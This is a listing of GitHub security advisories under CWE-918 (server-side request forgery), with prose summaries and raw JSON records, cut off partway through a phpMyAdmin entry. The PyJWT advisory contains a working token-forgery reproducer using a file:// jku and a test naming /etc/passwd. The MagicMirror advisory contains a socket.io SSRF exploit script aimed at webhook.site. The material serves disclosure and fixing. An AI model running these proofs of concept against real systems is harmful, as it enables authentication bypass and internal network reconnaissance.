CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6271 vulnerabilities reference this CWE, most recent first.
GHSA-98VP-FCQ9-GMJ3
Vulnerability from github – Published: 2025-05-14 18:30 – Updated: 2025-05-14 21:31A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. By using an encoded URL, a remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.
{
"affected": [],
"aliases": [
"CVE-2025-40595"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-14T17:15:48Z",
"severity": "HIGH"
},
"details": "A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. By using an encoded URL, a remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.",
"id": "GHSA-98vp-fcq9-gmj3",
"modified": "2025-05-14T21:31:17Z",
"published": "2025-05-14T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40595"
},
{
"type": "WEB",
"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0010"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-98XV-5XRC-6PMQ
Vulnerability from github – Published: 2026-07-27 15:32 – Updated: 2026-07-27 15:32Contributor Server Side Request Forgery (SSRF) in Feedzy <= 5.2.4 versions.
{
"affected": [],
"aliases": [
"CVE-2026-66437"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-27T15:17:11Z",
"severity": "MODERATE"
},
"details": "Contributor Server Side Request Forgery (SSRF) in Feedzy \u003c= 5.2.4 versions.",
"id": "GHSA-98xv-5xrc-6pmq",
"modified": "2026-07-27T15:32:33Z",
"published": "2026-07-27T15:32:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66437"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/feedzy-rss-feeds/vulnerability/wordpress-feedzy-plugin-5-2-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-992M-5RJ6-QXJ2
Vulnerability from github – Published: 2026-10-02 12:31 – Updated: 2026-10-02 12:31YesWiki before 4.6.7 contains a blind server-side request forgery vulnerability that allows unauthenticated attackers to make arbitrary server-side requests via the idtypeannonce parameter of /api/entries/bazarlist. Because isValidURL() always returns true, attackers can supply internal URLs fetched by curl in loadURLContent() to probe internal networks and reach internal services or metadata endpoints.
{
"affected": [],
"aliases": [
"CVE-2026-104440"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-02T12:17:14Z",
"severity": "MODERATE"
},
"details": "YesWiki before 4.6.7 contains a blind server-side request forgery vulnerability that allows unauthenticated attackers to make arbitrary server-side requests via the idtypeannonce parameter of /api/entries/bazarlist. Because isValidURL() always returns true, attackers can supply internal URLs fetched by curl in loadURLContent() to probe internal networks and reach internal services or metadata endpoints.",
"id": "GHSA-992m-5rj6-qxj2",
"modified": "2026-10-02T12:31:15Z",
"published": "2026-10-02T12:31:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-gw65-cpc7-hww6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104440"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/yeswiki-before-4.6.7-blind-ssrf-via-bazarlist-api-idtypeannonce-parameter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-993G-76C3-P5M4
Vulnerability from github – Published: 2026-06-15 19:28 – Updated: 2026-07-31 22:13[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.
Summary
PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.
If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:
- Cause PyJWKClient to read arbitrary local files via
file://(SSRF on local filesystem) — the file's contents are passed tojson.load. - Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
- Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and
jwt.decode()accepts.
Affected versions
Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.
Reproducer (full attack chain — verified empirically)
import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time
# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n
def b64u(n):
bl = (n.bit_length() + 7) // 8
return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()
# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
"n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
json.dump(jwks, f)
# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
{"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
priv_pem, algorithm="RS256",
headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})
# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"]) # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}
Cross-library evidence — PyJWT is the outlier
The same composition pattern is structurally safe in 4 other mainstream JWT libraries:
| Library | Behavior on jku=file://... |
Mechanism |
|---|---|---|
| PyJWT 2.12.1 (Python) | Reads file from disk, parses, uses for signature verification | urllib default OpenerDirector includes FileHandler |
| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG fetch() rejects non-http(s) at fetch-spec layer |
| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | http.DefaultTransport only registers http/https |
| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | HttpDocumentRetriever defaults RequireHttps=true |
| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |
PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.
Recommended fix
Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.
Diff sketch against jwt/jwks_client.py
def __init__(
self, uri: str,
cache_keys: bool = False, max_cached_keys: int = 16,
cache_jwk_set: bool = True, lifespan: float = 300,
headers: dict[str, Any] | None = None, timeout: float = 30,
ssl_context: SSLContext | None = None,
allowed_schemes: tuple[str, ...] = ("https", "http"), # NEW
):
"""...
:param allowed_schemes: URL schemes the JWKS endpoint is permitted
to use. Default ``("https", "http")``. Pass ``("https",)`` for
HTTPS-only operation. URLs with disallowed schemes raise
``PyJWKClientError`` before any fetch is attempted.
"""
# ... existing init code ...
self.allowed_schemes = allowed_schemes
self._validate_uri_scheme()
def _validate_uri_scheme(self) -> None:
"""Reject the configured URI early if its scheme isn't allowed."""
from urllib.parse import urlparse
parsed = urlparse(self.uri)
scheme = parsed.scheme.lower()
if not scheme:
raise PyJWKClientError(
f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
f"{self.allowed_schemes!r}")
if scheme not in self.allowed_schemes:
raise PyJWKClientError(
f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
f"{self.allowed_schemes!r}; refusing to fetch from this URL")
Tests to add
def test_pyjwkclient_rejects_file_scheme():
with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
PyJWKClient("file:///etc/passwd")
def test_pyjwkclient_rejects_ftp_scheme():
with pytest.raises(PyJWKClientError):
PyJWKClient("ftp://example.org/keys.json")
def test_pyjwkclient_rejects_data_scheme():
with pytest.raises(PyJWKClientError):
PyJWKClient('data:application/json,{"keys":[]}')
def test_pyjwkclient_caller_can_lock_to_https_only():
with pytest.raises(PyJWKClientError):
PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))
Compatibility
- Default
allowed_schemes=("https", "http")preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints - Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
- No changes to urllib fetch logic itself — the fix is a pre-validation gate
Class precedent
This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.
Prior art (verified 2026-05-06)
Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):
- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling
- No existing GitHub issue or PR addressing scheme allowlisting
- No silent fix in CHANGELOG through 2.12.1
- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class
Credit
Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).
Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.12.1"
},
"package": {
"ecosystem": "PyPI",
"name": "PyJWT"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48522"
],
"database_specific": {
"cwe_ids": [
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T19:28:41Z",
"nvd_published_at": "2026-05-28T16:16:29Z",
"severity": "MODERATE"
},
"details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n bl = (n.bit_length() + 7) // 8\n return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n priv_pem, algorithm=\"RS256\",\n headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"]) # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n self, uri: str,\n cache_keys: bool = False, max_cached_keys: int = 16,\n cache_jwk_set: bool = True, lifespan: float = 300,\n headers: dict[str, Any] | None = None, timeout: float = 30,\n ssl_context: SSLContext | None = None,\n allowed_schemes: tuple[str, ...] = (\"https\", \"http\"), # NEW\n):\n \"\"\"...\n :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n HTTPS-only operation. URLs with disallowed schemes raise\n ``PyJWKClientError`` before any fetch is attempted.\n \"\"\"\n # ... existing init code ...\n self.allowed_schemes = allowed_schemes\n self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n from urllib.parse import urlparse\n parsed = urlparse(self.uri)\n scheme = parsed.scheme.lower()\n if not scheme:\n raise PyJWKClientError(\n f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n f\"{self.allowed_schemes!r}\")\n if scheme not in self.allowed_schemes:\n raise PyJWKClientError(\n f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n with pytest.raises(PyJWKClientError):\n PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n with pytest.raises(PyJWKClientError):\n PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n with pytest.raises(PyJWKClientError):\n PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
"id": "GHSA-993g-76c3-p5m4",
"modified": "2026-07-31T22:13:14Z",
"published": "2026-06-15T19:28:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/8521"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes"
}
GHSA-998G-7V5W-CR7G
Vulnerability from github – Published: 2026-08-18 17:26 – Updated: 2026-08-18 17:26Vulnerability — Blind SSRF via CHECK_ARTICLE_URL (MagicMirror² newsfeed)
Analysis of the PoC
exploit-ssrf-newsfeed.js. Target:newsfeed/node_helper.jsof MagicMirror², socket.io namespace/newsfeed.
Identification
| Field | Value |
|---|---|
| PoC file | exploit-ssrf-newsfeed.js |
| Endpoint | socket.io namespace /newsfeed, notification CHECK_ARTICLE_URL |
| Precondition | reach the mirror's HTTP port (no authentication required) |
Description
The checkArticleUrl() function in newsfeed/node_helper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLE_URL_STATUS { url, canFrame }.
This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.
The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
const io = new Server(server, {
cors: { origin: /.*$/, credentials: true }
});
The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
Exploit (exploit-ssrf-newsfeed.js)
const { io } = require("socket.io-client");
const TARGET = process.env.MM || "https://target/";
const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site";
const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => {
if (event === "ARTICLE_URL_STATUS") {
console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);
console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF).");
process.exit(0);
}
});
socket.on("connect", () => {
console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`);
socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT });
});
setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000);
Vulnerable target code (pattern)
async checkArticleUrl(url) {
const res = await fetch(url, { method: "HEAD" });
const canFrame = !res.headers.get("x-frame-options")
&& !/frame-ancestors/i.test(res.headers.get("content-security-policy") || "");
this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame });
}
Impact
- Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive.
- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the
mm-internallog referenced by the PoC). - Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.
References
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-306: Missing Authentication for Critical Function
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains
- OWASP: SSRF Prevention Cheat Sheet
This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "magicmirror"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.37.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63642"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T17:26:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Vulnerability \u2014 Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror\u00b2 newsfeed)\n\n\u003e Analysis of the PoC `exploit-ssrf-newsfeed.js`.\n\u003e Target: `newsfeed/node_helper.js` of MagicMirror\u00b2, socket.io namespace `/newsfeed`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-newsfeed.js` |\n| **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` |\n| **Precondition** | reach the mirror\u0027s HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: \"HEAD\" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`.\n\nThis gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a \"blind-ish\" SSRF \u2014 the attacker doesn\u0027t see the body, but forces the server-side request and observes the effect on the target.\n\nThe actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service\u0027s log), since the `canFrame` field alone leaks little.\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror\u0027s port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-newsfeed.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\nconst TARGET = process.env.MM || \"https://target/\";\nconst URL_TO_HIT = process.env.SSRF_URL || \"https://webhook.site\";\nconst socket = io(`${TARGET}/newsfeed`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"ARTICLE_URL_STATUS\") {\n\t\tconsole.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);\n\t\tconsole.log(\"[!!!] Server performed a server-side HEAD request to the internal host (SSRF).\");\n\t\tprocess.exit(0);\n\t}\n});\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -\u003e ${URL_TO_HIT}`);\n\tsocket.emit(\"CHECK_ARTICLE_URL\", { url: URL_TO_HIT });\n});\nsetTimeout(() =\u003e { console.log(\"[*] timeout\"); process.exit(1); }, 12000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nasync checkArticleUrl(url) {\n const res = await fetch(url, { method: \"HEAD\" });\n const canFrame = !res.headers.get(\"x-frame-options\")\n \u0026\u0026 !/frame-ancestors/i.test(res.headers.get(\"content-security-policy\") || \"\");\n this.sendSocketNotification(\"ARTICLE_URL_STATUS\", { url, canFrame });\n}\n```\n\n---\n\n## Impact\n\n- **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive.\n- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC).\n- Although it\u0027s HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD.\n\n---\n\n\n\n### References\n- CWE-918: Server-Side Request Forgery (SSRF)\n- CWE-306: Missing Authentication for Critical Function\n- CWE-942: Permissive Cross-domain Policy with Untrusted Domains\n- OWASP: SSRF Prevention Cheat Sheet\n\n\u003e This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.",
"id": "GHSA-998g-7v5w-cr7g",
"modified": "2026-08-18T17:26:46Z",
"published": "2026-08-18T17:26:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-998g-7v5w-cr7g"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
},
{
"type": "PACKAGE",
"url": "https://github.com/MagicMirrorOrg/MagicMirror"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery"
}
GHSA-99HR-PVHP-JHHQ
Vulnerability from github – Published: 2026-09-22 21:31 – Updated: 2026-09-22 21:31Adobe Experience Manager Forms JEE is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.
{
"affected": [],
"aliases": [
"CVE-2026-81999"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-22T19:16:53Z",
"severity": "HIGH"
},
"details": "Adobe Experience Manager Forms JEE is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.",
"id": "GHSA-99hr-pvhp-jhhq",
"modified": "2026-09-22T21:31:26Z",
"published": "2026-09-22T21:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81999"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/aem-forms/apsb26-151.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-99XJ-XQC9-98HR
Vulnerability from github – Published: 2022-05-14 01:15 – Updated: 2024-04-24 17:16phpMyAdmin 4.0, 4.4 and 4.6 are vulnerable to a weakness where a user with appropriate permissions is able to connect to an arbitrary MySQL server
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyadmin/phpmyadmin"
},
"ranges": [
{
"events": [
{
"introduced": "4.6"
},
{
"fixed": "4.6.6"
}
],
